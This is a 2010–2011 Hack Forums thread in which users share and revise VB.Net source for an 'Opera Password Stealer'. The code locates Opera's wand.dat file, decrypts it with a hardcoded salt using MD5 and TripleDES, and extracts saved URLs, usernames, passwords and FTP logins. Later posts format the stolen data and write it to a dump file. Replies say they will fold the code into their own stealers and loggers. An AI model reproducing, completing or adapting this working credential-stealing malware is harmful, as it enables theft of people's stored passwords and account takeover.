

Forum:[Hack Forums](#)

Thread: [\[VB.Net\] Opera Password Stealer \[Source\]](#)

Black-Blood™ - December 12, 2010, 2:42 am

Hey guys,

I finally found a Opera wand.dat decrypter and I converted and changed it a bit so now it only gets the URL, Username and Passwords !

Here you go:

Code Imports System.Collections.Generic

Imports System.Text

Imports System.Security.Cryptography

Imports System.IO

Class Opera

Private Shared opera_salt As Byte() = {&H83, &H7D, &HFC, &HF, &H8E, &HB3, _
&HE8, &H69, &H73, &HAF, &HFF}

Private Shared key_size As Byte() = {&H0, &H0, &H0, &H8}

Private Shared path As String =

Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)

Public DOutput As String

Dim c As Integer = 0, c1 As Integer = 0, c2 As Integer = 0

Dim firstrun As Boolean = True

Dim ReturnValue As String

Dim sUrlTemp, sUserTemp, sPassTemp As String

Dim sUrl(1000), sUser(1000), sPass(1000) As String

Dim lasturl As Integer = 0

Dim ftp As Boolean = False

Dim Lines() As String

Dim LoginData(3000) As String

Public Function GetOpera()

If File.Exists(path & "\Opera\Opera\wand.dat") Then

path += "\Opera\Opera\wand.dat"

version2()

Elseif File.Exists(path & "\Opera\Opera\profile\wand.dat") Then

path += "\Opera\Opera\profile\wand.dat"

version2()

Else

End If

Return LoginData

End Function

Private Sub version2()

Try

```

Dim wand_file As Byte() = File.ReadAllBytes(path)
Dim block_size As Integer = 0
For i As Integer = 0 To wand_file.Length - 5
    If wand_file(i) = &H0 AndAlso wand_file(i + 1) = &H0 AndAlso wand_file(i + 2) = &H0 AndAlso
wand_file(i + 3) = &H8 Then
        block_size = CInt(wand_file(i + 15))
        Dim key As Byte() = New Byte(7) {}
        Dim encrypt_data As Byte() = New Byte(block_size - 1) {}
        Array.Copy(wand_file, i + 4, key, 0, key.Length)
        Array.Copy(wand_file, i + 16, encrypt_data, 0, encrypt_data.Length)
        DOutput += decrypt2_method(key, encrypt_data) & vbNewLine
        i += 11 + block_size
    End If
Next
Lines = DOutput.Split(Environment.NewLine)
For j = 0 To 3
    Lines(j) = Nothing
Next
For j = 0 To Lines.Length - 1
    sUrlTemp = Nothing
    sUserTemp = Nothing
    sPassTemp = Nothing
    c = 0
    Try
        If Lines(j).Contains("http://") OrElse Lines(j).Contains("https://") OrElse Lines(j).Contains("ftp://")
Then
            If j <> 0 Then
                Try
                    For k = 0 To Lines(j).Length - 1
                        If AscW(Lines(j).Chars(k - c)) > 127 Then
                            Lines(j) = Lines(j).Remove(k - c, 1)
                            c += 1
                        End If
                    Next
                    If j - lasturl = 1 Then
                        sUrlTemp = Lines(j)
                    ElseIf j - lasturl = 2 Then
                        sUrlTemp = Lines(j)
                    End If
                    If Lines(j).Contains("ftp://") Then
                        sUrlTemp = Lines(j)
                    End If
                    lasturl = j
                Catch ex As Exception

            End Try
            End If
            Else
                If ftp Then
                    If j - lasturl = 1 OrElse j - lasturl = 2 Then

                Try
                    For k = 0 To Lines(j).Length - 1

```

```

If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
If j - lasturl = 1 Then
sUserTemp = Lines(j)
ElseIf j - lasturl = 2 Then
sPassTemp = Lines(j)
c1 += 1
ftp = False
End If
Catch ex As Exception

End Try
End If
Else
If lasturl <> 0 Then
If j = lasturl + 2 OrElse j = lasturl + 4 Then

Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
If j = lasturl + 2 Then
sUserTemp = Lines(j)
ElseIf j = lasturl + 4 Then
sPassTemp = Lines(j)
c1 += 1
End If
Catch ex As Exception

End Try
End If
End If
End If
End If
Catch ex As Exception

End Try
Try
If sUrlTemp <> Nothing Then
sUrl(c1) = sUrlTemp
End If
If sUserTemp <> Nothing Then
sUser(c1) = sUserTemp
End If
If sPassTemp <> Nothing Then
Try
sPass(c1 - 1) = sPassTemp

```

Catch ex As Exception

End Try

End If

Catch ex As Exception

End Try

Next

Catch e As Exception

Console.WriteLine(e.Message)

End Try

For j = 0 To sUrl.Length - 1

If sUrl(j) = "" Then

Exit For

End If

LoginData(c2) = sUrl(j)

LoginData(c2 + 1) = sUser(j)

LoginData(c2 + 2) = sPass(j)

c2 += 3

Next

End Sub

Public Function decrypt2_method(ByVal key As Byte(), ByVal encrypt_data As Byte())

Try

Dim md5Crypt As New MD5CryptoServiceProvider()

md5Crypt.Initialize()

Dim tmpBuffer As Byte() = New Byte(opera_salt.Length + (key.Length - 1)) {}

Array.Copy(opera_salt, tmpBuffer, opera_salt.Length)

Array.Copy(key, 0, tmpBuffer, opera_salt.Length, key.Length)

Dim hash1 As Byte() = md5Crypt.ComputeHash(tmpBuffer)

tmpBuffer = New Byte(hash1.Length + opera_salt.Length + (key.Length - 1)) {}

Array.Copy(hash1, tmpBuffer, hash1.Length)

Array.Copy(opera_salt, 0, tmpBuffer, hash1.Length, opera_salt.Length)

Array.Copy(key, 0, tmpBuffer, hash1.Length + opera_salt.Length, key.Length)

Dim hash2 As Byte() = md5Crypt.ComputeHash(tmpBuffer)

Dim tripleDES As New TripleDESCryptoServiceProvider()

tripleDES.Mode = CipherMode.CBC

tripleDES.Padding = PaddingMode.None

Dim tripleKey As Byte() = New Byte(23) {}

Dim IV As Byte() = New Byte(7) {}

Array.Copy(hash1, tripleKey, hash1.Length)

Array.Copy(hash2, 0, tripleKey, hash1.Length, 8)

Array.Copy(hash2, 8, IV, 0, 8)

tripleDES.Key = tripleKey

tripleDES.IV = IV

Dim decryter As ICryptoTransform = tripleDES.CreateDecryptor()

Dim output As Byte() = decryter.TransformFinalBlock(encrypt_data, 0, encrypt_data.Length)

Dim enc As String = Encoding.Unicode.GetString(output)

Return enc

```
Catch e As Exception
Return ""
End Try
End Function
End Class
Ok fully workin stealer.
```

URL's are stored in sUrl, Passwords in sPass and Usernames in sUser !

Have fun with it and give credits if you leech :D

Credits go to: Crushpest, KingCobraXD (Hackforums) and me for porting it to VB.Net and filtering out the URL,Usernames and Passwords ^^

Thank you and have a nice day !

The French - December 12, 2010, 4:47 am

Thanks for sharing this code , really helpful.

KingCobraXD - December 12, 2010, 5:28 am

No credit for me for helping you convert it? BTW, i got it to work when i converted it for you..

pr0t0typ3 - December 12, 2010, 5:35 am

filtering is super easy if you know the basic concept. Just take a deeper look and you will find a 90 % working filter method. (I already got one)

KingCobraXD - December 12, 2010, 5:36 am

Damn. All those reposting came out because HF is down..

Black-Blood™ - December 12, 2010, 6:22 am

(Dec 12, 2010 06:35 AM)pr0t0typ3 Wrote: [\[CITE\]](#) filtering is super easy if you know the basic concept. Just take a deeper look and you will find a 90 % working filter method. (I already got one) I really don't get it :/

Sometimes it's 6 lines and sometimes 7 lines.

```
Line1 : URL
Line2 : Crap/URL
Line3 : URL/Crap
Line4 : Crap/Username
Line5 : Username/Crap
Line6 : Crap/Password
Line7 : Password/Crap
```

DaL33T - December 12, 2010, 7:07 am

hey nice code. I'm going to work off this ;)

Thanks a lot =D

Black-Blood™ - December 12, 2010, 7:10 am

(Dec 12, 2010 08:09 AM)NyC.xXBRONX.NyC Wrote: [\[CITE\]](#) if i remembered correctly i believe he said on LC it needed Admin rights not sure got to check up on it.
?

Anyways. Got it working now. Fully working =)

Read in the first post for details !

Odayleet - December 12, 2010, 7:20 am

Thanks I will add it to my password recovery tool :).

FEL1X. - December 12, 2010, 8:11 am

thanks, i will use it for my logger :)

will credit you ofc :)

pr0t0typ3 - December 12, 2010, 8:23 am

(Dec 12, 2010 07:22 AM)Black-Blo0d Wrote: [\[CITE\]](#) I really don't get it :/

Sometimes it's 6 lines and sometimes 7 lines.

Line1 : URL

Line2 : Crap/URL

Line3 : URL/Crap

Line4 : Crap/Username

Line5 : Username/Crap

Line6 : Crap/Password

Line7 : Password/CrapWell that is the reason why you need a intelligent filter and not only a 'each 5th line' style filter

Black-Blood™ - December 12, 2010, 8:42 am

(Dec 12, 2010 09:23 AM)pr0t0typ3 Wrote: [\[CITE\]](#) Well that is the reason why you need a intelligent filter and not only a 'each 5th line' style filter

Already got it ^^ Maybe it could be shortend but it works :P

RON6566 - December 12, 2010, 10:21 am

Thanks for sharing this... (hope this works..)

Black-Blood™ - December 15, 2010, 6:03 am

Update: Now it get's FTPs aswell =)

Code Class Opera

```
Private Shared opera_salt As Byte() = {&H83, &H7D, &HFC, &HF, &H8E, &HB3, _
&HE8, &H69, &H73, &HAF, &HFF}
Private Shared key_size As Byte() = {&H0, &H0, &H0, &H8}
Private Shared path As String =
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
Public DOutput As String
Dim c As Integer = 0, c1 As Integer = 0
Dim firstrun As Boolean = True
Dim ReturnValue As String
Dim sUrlTemp, sUserTemp, sPassTemp As String
Dim sUrl(1000), sUser(1000), sPass(1000) As String
Dim lasturl As Integer = 0
Dim ftp As Boolean = False
```

Public Function GetOpera()

```
If File.Exists(path & "\Opera\Opera\wand.dat") Then
    path += "\Opera\Opera\wand.dat"
    version2()
ElseIf File.Exists(path & "\Opera\Opera\profile\wand.dat") Then
    path += "\Opera\Opera\profile\wand.dat"
    version2()
Else
End If
```

End Function

Private Sub version2()

```
Try
    Dim wand_file As Byte() = File.ReadAllBytes(path)
    Dim block_size As Integer = 0
    For i As Integer = 0 To wand_file.Length - 5
        If wand_file(i) = &H0 AndAlso wand_file(i + 1) = &H0 AndAlso wand_file(i + 2) = &H0 AndAlso
wand_file(i + 3) = &H8 Then
            block_size = CInt(wand_file(i + 15))
            Dim key As Byte() = New Byte(7) {}
            Dim encrypt_data As Byte() = New Byte(block_size - 1) {}
            Array.Copy(wand_file, i + 4, key, 0, key.Length)
            Array.Copy(wand_file, i + 16, encrypt_data, 0, encrypt_data.Length)
            DOutput += decrypt2_method(key, encrypt_data) & vbNewLine
            i += 11 + block_size
        End If
    Next
    Dim Lines() As String
    Lines = DOutput.Split(Environment.NewLine)
    For j = 0 To 3
        Lines(j) = Nothing
    Next
    For j = 0 To Lines.Length - 1
        sUrlTemp = Nothing
        sUserTemp = Nothing
        sPassTemp = Nothing
        c = 0
        Try
            If Lines(j).Contains("http://") Then
                If j <> 0 Then
                    Try
                        For k = 0 To Lines(j).Length - 1
                            If AscW(Lines(j).Chars(k - c)) > 127 Then
                                Lines(j) = Lines(j).Remove(k - c, 1)
                                c += 1
                            End If
                        Next
                        If j - lasturl = 1 Then
                            sUrlTemp = Lines(j)
                        ElseIf j - lasturl = 2 Then
```

```

sUrlTemp = Lines(j)
End If
lasturl = j
Catch ex As Exception

End Try
End If
ElseIf Lines(j).Contains("https://") Then
If j <> 0 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next

If j - lasturl = 1 Then
sUrlTemp = Lines(j)
ElseIf j - lasturl = 2 Then
sUrlTemp = Lines(j)
End If
lasturl = j
Catch ex As Exception

End Try
End If
ElseIf Lines(j).Contains("ftp://") Then
If j <> 0 Then
ftp = True
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
sUrlTemp = Lines(j)
lasturl = j
Catch ex As Exception

End Try
End If
Else
If ftp Then
If j - lasturl = 1 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next

```

```

sUserTemp = Lines(j)
Catch ex As Exception

End Try
Elseif j - lasturl = 2 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
sPassTemp = Lines(j)
c1 += 1
ftp = False
Catch ex As Exception

End Try
End If
Else
If lasturl <> 0 Then
If j = lasturl + 2 Then

Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
sUserTemp = Lines(j)
Catch ex As Exception

End Try
Elseif j = lasturl + 4 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
sPassTemp = Lines(j)
c1 += 1
Catch ex As Exception
End Try
End If
End If
End If
End If
Catch ex As Exception

End Try

```

```

Try
If sUrlTemp <> Nothing Then
sUrl(c1) = sUrlTemp
End If
If sUserTemp <> Nothing Then
sUser(c1) = sUserTemp
End If
If sPassTemp <> Nothing Then
Try
sPass(c1 - 1) = sPassTemp
Catch ex As Exception

End Try
End If

Catch ex As Exception

End Try

Next
Catch e As Exception
Console.WriteLine(e.Message)
End Try
For i = 0 To sUrl.Length
If sUrl(i) = "" Then
Exit For
End If
MsgBox(sUrl(i))
MsgBox(sUser(i))
MsgBox(sPass(i))
Next
End Sub

Public Function decrypt2_method(ByVal key As Byte(), ByVal encrypt_data As Byte())
Try
Dim md5Crypt As New MD5CryptoServiceProvider()
md5Crypt.Initialize()
Dim tmpBuffer As Byte() = New Byte(opera_salt.Length + (key.Length - 1)) {}
Array.Copy(opera_salt, tmpBuffer, opera_salt.Length)
Array.Copy(key, 0, tmpBuffer, opera_salt.Length, key.Length)
Dim hash1 As Byte() = md5Crypt.ComputeHash(tmpBuffer)
tmpBuffer = New Byte(hash1.Length + opera_salt.Length + (key.Length - 1)) {}
Array.Copy(hash1, tmpBuffer, hash1.Length)
Array.Copy(opera_salt, 0, tmpBuffer, hash1.Length, opera_salt.Length)
Array.Copy(key, 0, tmpBuffer, hash1.Length + opera_salt.Length, key.Length)
Dim hash2 As Byte() = md5Crypt.ComputeHash(tmpBuffer)
Dim tripleDES As New TripleDESCryptoServiceProvider()
tripleDES.Mode = CipherMode.CBC
tripleDES.Padding = PaddingMode.None
Dim tripleKey As Byte() = New Byte(23) {}
Dim IV As Byte() = New Byte(7) {}
Array.Copy(hash1, tripleKey, hash1.Length)
Array.Copy(hash2, 0, tripleKey, hash1.Length, 8)

```

```

Array.Copy(hash2, 8, IV, 0, 8)
tripleDES.Key = tripleKey
tripleDES.IV = IV
Dim decryter As ICryptoTransform = tripleDES.CreateDecryptor()
Dim output As Byte() = decryter.TransformFinalBlock(encrypt_data, 0, encrypt_data.Length)
Dim enc As String = Encoding.Unicode.GetString(output)

```

```
Return enc
```

```

Catch e As Exception
Return ""
End Try
End Function
End Class

```

Black-Blood™ - December 18, 2010, 4:51 am

Again some changes.

Code Class Opera

```

Private Shared opera_salt As Byte() = {&H83, &H7D, &HFC, &HF, &H8E, &HB3, _
&HE8, &H69, &H73, &HAF, &HFF}
Private Shared key_size As Byte() = {&H0, &H0, &H0, &H8}
Private Shared path As String =
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
Public DOutput As String
Dim c As Integer = 0, c1 As Integer = 0, c2 As Integer = 0
Dim firstrun As Boolean = True
Dim ReturnValue As String
Dim sUrlTemp, sUserTemp, sPassTemp As String
Dim sUrl(1000), sUser(1000), sPass(1000) As String
Dim lasturl As Integer = 0
Dim ftp As Boolean = False
Dim Lines() As String
Dim LoginData(3000) As String

Public Function GetOpera()

If File.Exists(path & "\Opera\Opera\wand.dat") Then
path += "\Opera\Opera\wand.dat"
version2()
Elseif File.Exists(path & "\Opera\Opera\profile\wand.dat") Then
path += "\Opera\Opera\profile\wand.dat"
version2()
Else
End If

Return LoginData
End Function

Private Sub version2()
Try
Dim wand_file As Byte() = File.ReadAllBytes(path)

```

```

Dim block_size As Integer = 0
For i As Integer = 0 To wand_file.Length - 5
    If wand_file(i) = &H0 AndAlso wand_file(i + 1) = &H0 AndAlso wand_file(i + 2) = &H0 AndAlso
wand_file(i + 3) = &H8 Then
        block_size = CInt(wand_file(i + 15))
        Dim key As Byte() = New Byte(7) {}
        Dim encrypt_data As Byte() = New Byte(block_size - 1) {}
        Array.Copy(wand_file, i + 4, key, 0, key.Length)
        Array.Copy(wand_file, i + 16, encrypt_data, 0, encrypt_data.Length)
        DOutput += decrypt2_method(key, encrypt_data) & vbNewLine
        i += 11 + block_size
    End If
Next
Lines = DOutput.Split(Environment.NewLine)
For j = 0 To 3
    Lines(j) = Nothing
Next
For j = 0 To Lines.Length - 1
    sUrlTemp = Nothing
    sUserTemp = Nothing
    sPassTemp = Nothing
    c = 0
    Try
        If Lines(j).Contains("http://") OrElse Lines(j).Contains("https://") OrElse Lines(j).Contains("ftp://")
Then
            If j <> 0 Then
                Try
                    For k = 0 To Lines(j).Length - 1
                        If AscW(Lines(j).Chars(k - c)) > 127 Then
                            Lines(j) = Lines(j).Remove(k - c, 1)
                            c += 1
                        End If
                    Next
                    If j - lasturl = 1 Then
                        sUrlTemp = Lines(j)
                    ElseIf j - lasturl = 2 Then
                        sUrlTemp = Lines(j)
                    End If
                    If Lines(j).Contains("ftp://") Then
                        sUrlTemp = Lines(j)
                    End If
                    lasturl = j
                Catch ex As Exception

            End Try
        End If
    Else
        If ftp Then
            If j - lasturl = 1 OrElse j - lasturl = 2 Then

                Try
                    For k = 0 To Lines(j).Length - 1
                        If AscW(Lines(j).Chars(k - c)) > 127 Then

```

```

Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
If j - lasturl = 1 Then
sUserTemp = Lines(j)
ElseIf j - lasturl = 2 Then
sPassTemp = Lines(j)
c1 += 1
ftp = False
End If
Catch ex As Exception

End Try
End If
Else
If lasturl <> 0 Then
If j = lasturl + 2 OrElse j = lasturl + 4 Then

Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
If j = lasturl + 2 Then
sUserTemp = Lines(j)
ElseIf j = lasturl + 4 Then
sPassTemp = Lines(j)
c1 += 1
End If
Catch ex As Exception

End Try
End If
End If
End If
End If
Catch ex As Exception

End Try
Try
If sUrlTemp <> Nothing Then
sUrl(c1) = sUrlTemp
End If
If sUserTemp <> Nothing Then
sUser(c1) = sUserTemp
End If
If sPassTemp <> Nothing Then
Try
sPass(c1 - 1) = sPassTemp
Catch ex As Exception

```

```

End Try
End If

Catch ex As Exception

End Try

Next
Catch e As Exception
    Console.WriteLine(e.Message)
End Try
For j = 0 To sUrl.Length - 1
    If sUrl(j) = "" Then
        Exit For
    End If
    LoginData(c2) = sUrl(j)
    LoginData(c2 + 1) = sUser(j)
    LoginData(c2 + 2) = sPass(j)
    c2 += 3
Next
End Sub

Public Function decrypt2_method(ByVal key As Byte(), ByVal encrypt_data As Byte())
Try
    Dim md5Crypt As New MD5CryptoServiceProvider()
    md5Crypt.Initialize()
    Dim tmpBuffer As Byte() = New Byte(opera_salt.Length + (key.Length - 1)) {}
    Array.Copy(opera_salt, tmpBuffer, opera_salt.Length)
    Array.Copy(key, 0, tmpBuffer, opera_salt.Length, key.Length)
    Dim hash1 As Byte() = md5Crypt.ComputeHash(tmpBuffer)
    tmpBuffer = New Byte(hash1.Length + opera_salt.Length + (key.Length - 1)) {}
    Array.Copy(hash1, tmpBuffer, hash1.Length)
    Array.Copy(opera_salt, 0, tmpBuffer, hash1.Length, opera_salt.Length)
    Array.Copy(key, 0, tmpBuffer, hash1.Length + opera_salt.Length, key.Length)
    Dim hash2 As Byte() = md5Crypt.ComputeHash(tmpBuffer)
    Dim tripleDES As New TripleDESCryptoServiceProvider()
    tripleDES.Mode = CipherMode.CBC
    tripleDES.Padding = PaddingMode.None
    Dim tripleKey As Byte() = New Byte(23) {}
    Dim IV As Byte() = New Byte(7) {}
    Array.Copy(hash1, tripleKey, hash1.Length)
    Array.Copy(hash2, 0, tripleKey, hash1.Length, 8)
    Array.Copy(hash2, 8, IV, 0, 8)
    tripleDES.Key = tripleKey
    tripleDES.IV = IV
    Dim decryter As ICryptoTransform = tripleDES.CreateDecryptor()
    Dim output As Byte() = decryter.TransformFinalBlock(encrypt_data, 0, encrypt_data.Length)
    Dim enc As String = Encoding.Unicode.GetString(output)

    Return enc

Catch e As Exception

```

```
Return ""
End Try
End Function
End Class
```

Shortend and the stealed information are now stored in the var "LoginData" which is returned by the function "GetOpera".

W33DY - December 18, 2010, 5:02 am

Thanks Mate i will use it in my Stealer
and will credits you !! :)

works great

Arnow - December 27, 2010, 11:58 am

First time i find something pretty interesting in .net but seems that I don't know anything about it..
Could you post a source which gets the user/pass/url in a textbox?

crashfreak - December 27, 2010, 12:45 pm

iam sorry to be kinda noob, but could you please tell me where to put in the codes in VB.Net.
Thanks in advance.

Go To Guy - January 7, 2011, 8:51 pm

How would I get it sUrl, sUser, and sPass to be assigned to the variable LoginData in a specific format

```
Code For j = 0 To sUrl.Length - 1
    If sUrl(j) = "" Then
        Exit For
    End If
    LoginData(c2) = sUrl(j)
    LoginData(c2 + 1) = sUser(j)
    LoginData(c2 + 2) = sPass(j)
    c2 += 3
    If (sUser(j) <> "") And (sPass(j) <> "") Then
```

```
        LoginData = ("Host" & vbNewLine & sUrl & vbNewLine & "Username: " & sUser(j) & vbNewLine
& "Password: " & sPass(j) & vbNewLine & "==" _
& vbNewLine & " ")
```

```
        Write_logs()
    End If
Next
End Sub
```

Write_logs() is this

```
Code Public Sub Write_logs()
    Dim file As System.IO.StreamWriter
    file = My.Computer.FileSystem.OpenTextFileWriter("c:\Users\Public\dump.txt", True)
    file.Write(LoginData)
    file.Close()
End Sub
```

I keep getting this error:

Error 1 Operator '&' is not defined for types 'String' and '1-dimensional array of String'. C:\Users\Admin\Documents\Visual Studio

2008\Projects\YogaStealer\YogaStealer\Opera.vb 168 30 YogaStealer

for this line

```
LoginData = ("Host" & vbNewLine & sUrl & vbNewLine & "Username: " & sUser(j))
```

Black-Blood™ - January 8, 2011, 1:44 am

LoginData is an array. You have to use it like this.

```
Code LoginData(value) = ...
```

??? Matto ??? - January 13, 2011, 10:03 am

Nice code thanks. The output could be cleaner, a string array with a 3000 limit is a bit messy. Great share, shame the leechers will ruin it. Maybe upload the .vb file with anti-noob protection? Or simply encrypt the whole text?

aymi68 - February 10, 2011, 4:40 am

How could i use it? <Too short>

Black-Blood™ - February 10, 2011, 4:44 am

(Feb 10, 2011 05:40 AM)aymi68 Wrote: [\[CITE\]](#) How could i use it? <Too short>
I suggest learning VB.Net ;)

too short

SIM-99212 - February 18, 2011, 9:17 pm

I modified the original code so that it can present the info grabbed from Opera clearly and be easier to use.

It also returns "Opera couldn't be recovered!" when it can't recover anything.

```
Code Imports System.Security.Cryptography
```

```
Imports System.IO
```

```
Imports System.Text
```

```
Class Opera
```

```
'Credits to Black-Blood for original
```

```
'Credits to jawatim for modifications
```

```
Private Shared opera_salt As Byte() = {&H83, &H7D, &HFC, &HF, &H8E, &HB3, _  
&HE8, &H69, &H73, &HAF, &HFF}
```

```
Private Shared key_size As Byte() = {&H0, &H0, &H0, &H8}
```

```
Private Shared path As String =
```

```
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
```

```
Public DOutput As String
```

```
Dim c As Integer = 0, c1 As Integer = 0, c2 As Integer = 0
```

```
Dim firstrun As Boolean = True
```

```
Dim ReturnValue As String
```

```
Dim sUrlTemp, sUserTemp, sPassTemp As String
```

```
Dim sUrl(1000), sUser(1000), sPass(1000) As String
```

```
Dim lasturl As Integer = 0
```

```
Dim ftp As Boolean = False
```

```
Dim Lines() As String
```

```
Dim LoginData(3000) As String
```

```
Function GetOpera() As String
```

```

Dim credlist As New List(Of String)
Dim operacreds() As String = DecryptInfo()
For Each cred As String In operacreds
    'Dim txt As String
    'txt &= cred & vbNewLine
    'SaveTextToFile(Trim(txt), "C:\Users\Tim\Desktop\creds.txt")
    If Not cred = "" Then
        credlist.Add(cred)
    End If
Next

```

```

Dim txt As New StringBuilder
If credlist.Count = 0 Then
    Return "==Opera==" & vbNewLine & "Opera couldn't be recovered!" & vbNewLine & "=="
Else
    For i As Integer = 0 To credlist.Count - 1 Step 3
        txt.Append("Host: " & (credlist(i)).Substring(1)).AppendLine()
        txt.Append("User Name: " & (credlist(i + 1)).Substring(1)).AppendLine()
        txt.Append("Password: " & (credlist(i + 2)).Substring(1)).AppendLine()
        txt.Append("==").AppendLine()
    Next
    Return "==Opera==" & vbNewLine & txt.ToString
End If

```

End Function

Public Function DecryptInfo()

```

If File.Exists(path & "\Opera\Opera\wand.dat") Then
    path += "\Opera\Opera\wand.dat"
    version2()
ElseIf File.Exists(path & "\Opera\Opera\profile\wand.dat") Then
    path += "\Opera\Opera\profile\wand.dat"
    version2()
Else
End If

```

```

Return LoginData
End Function

```

```

Private Sub version2()
Try
    Dim wand_file As Byte() = File.ReadAllBytes(path)
    Dim block_size As Integer = 0
    For i As Integer = 0 To wand_file.Length - 5
        If wand_file(i) = &H0 AndAlso wand_file(i + 1) = &H0 AndAlso wand_file(i + 2) = &H0 AndAlso
wand_file(i + 3) = &H8 Then
            block_size = CInt(wand_file(i + 15))
            Dim key As Byte() = New Byte(7) {}
            Dim encrypt_data As Byte() = New Byte(block_size - 1) {}
            Array.Copy(wand_file, i + 4, key, 0, key.Length)
            Array.Copy(wand_file, i + 16, encrypt_data, 0, encrypt_data.Length)
            DOutput += decrypt2_method(key, encrypt_data) & vbNewLine
        End If
    Next
Catch
End Try
End Sub

```

```

i += 11 + block_size
End If
Next
Lines = DOutput.Split(Environment.NewLine)
For j As Integer = 0 To 3
    Lines(j) = Nothing
Next
For j As Integer = 0 To Lines.Length - 1
    sUrlTemp = Nothing
    sUserTemp = Nothing
    sPassTemp = Nothing
    c = 0
    Try
        If Lines(j).Contains("http://") OrElse Lines(j).Contains("https://") OrElse Lines(j).Contains("ftp://")
Then
            If j <> 0 Then
                Try
                    For k As Integer = 0 To Lines(j).Length - 1
                        If AscW(Lines(j).Chars(k - c)) > 127 Then
                            Lines(j) = Lines(j).Remove(k - c, 1)
                            c += 1
                        End If
                    Next
                    If j - lasturl = 1 Then
                        sUrlTemp = Lines(j)
                    ElseIf j - lasturl = 2 Then
                        sUrlTemp = Lines(j)
                    End If
                    If Lines(j).Contains("ftp://") Then
                        sUrlTemp = Lines(j)
                    End If
                    lasturl = j
                    Catch ex As Exception

                End Try
            End If
        Else
            If ftp Then
                If j - lasturl = 1 OrElse j - lasturl = 2 Then

                    Try
                        For k As Integer = 0 To Lines(j).Length - 1
                            If AscW(Lines(j).Chars(k - c)) > 127 Then
                                Lines(j) = Lines(j).Remove(k - c, 1)
                                c += 1
                            End If
                        Next
                        If j - lasturl = 1 Then
                            sUserTemp = Lines(j)
                        ElseIf j - lasturl = 2 Then
                            sPassTemp = Lines(j)
                            c1 += 1
                            ftp = False

```

```
End If
Catch ex As Exception
```

```
End Try
End If
Else
If lasturl <> 0 Then
If j = lasturl + 2 OrElse j = lasturl + 4 Then
```

```
Try
For k As Integer = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
If j = lasturl + 2 Then
sUserTemp = Lines(j)
ElseIf j = lasturl + 4 Then
sPassTemp = Lines(j)
c1 += 1
End If
Catch ex As Exception
```

```
End Try
End If
End If
End If
End If
Catch ex As Exception
```

```
End Try
Try
If sUrlTemp <> Nothing Then
sUrl(c1) = sUrlTemp
End If
If sUserTemp <> Nothing Then
sUser(c1) = sUserTemp
End If
If sPassTemp <> Nothing Then
Try
sPass(c1 - 1) = sPassTemp
Catch ex As Exception
```

```
End Try
End If
```

```
Catch ex As Exception
```

```
End Try
```

```
Next
Catch e As Exception
```

```

    Console.WriteLine(e.Message)
End Try
For j As Integer = 0 To sUrl.Length - 1
    If sUrl(j) = "" Then
        Exit For
    End If
    LoginData(c2) = sUrl(j)
    LoginData(c2 + 1) = sUser(j)
    LoginData(c2 + 2) = sPass(j)
    c2 += 3
Next
End Sub

```

```

Public Function decrypt2_method(ByVal key As Byte(), ByVal encrypt_data As Byte())
Try
    Dim md5Crypt As New MD5CryptoServiceProvider()
    md5Crypt.Initialize()
    Dim tmpBuffer As Byte() = New Byte(opera_salt.Length + (key.Length - 1)) {}
    Array.Copy(opera_salt, tmpBuffer, opera_salt.Length)
    Array.Copy(key, 0, tmpBuffer, opera_salt.Length, key.Length)
    Dim hash1 As Byte() = md5Crypt.ComputeHash(tmpBuffer)
    tmpBuffer = New Byte(hash1.Length + opera_salt.Length + (key.Length - 1)) {}
    Array.Copy(hash1, tmpBuffer, hash1.Length)
    Array.Copy(opera_salt, 0, tmpBuffer, hash1.Length, opera_salt.Length)
    Array.Copy(key, 0, tmpBuffer, hash1.Length + opera_salt.Length, key.Length)
    Dim hash2 As Byte() = md5Crypt.ComputeHash(tmpBuffer)
    Dim tripleDES As New TripleDESCryptoServiceProvider()
    tripleDES.Mode = CipherMode.CBC
    tripleDES.Padding = PaddingMode.None
    Dim tripleKey As Byte() = New Byte(23) {}
    Dim IV As Byte() = New Byte(7) {}
    Array.Copy(hash1, tripleKey, hash1.Length)
    Array.Copy(hash2, 0, tripleKey, hash1.Length, 8)
    Array.Copy(hash2, 8, IV, 0, 8)
    tripleDES.Key = tripleKey
    tripleDES.IV = IV
    Dim decryter As ICryptoTransform = tripleDES.CreateDecryptor()
    Dim output As Byte() = decryter.TransformFinalBlock(encrypt_data, 0, encrypt_data.Length)
    Dim enc As String = Encoding.Unicode.GetString(output)

    Return enc

```

```

Catch e As Exception
    Return ""
End Try
End Function

```

End ClassUsage:

```

Code Dim o As New Opera
Dim creds As String
creds = o.GetOpera()

```

'Stranegly, MsgBox(creds) will only display the first line in a messagebox even though creds actually contains everything.

'To display everything, put my modified class in a console project and under Sub Main use:

'Console.WriteLine(creds)

'Console.ReadLine()

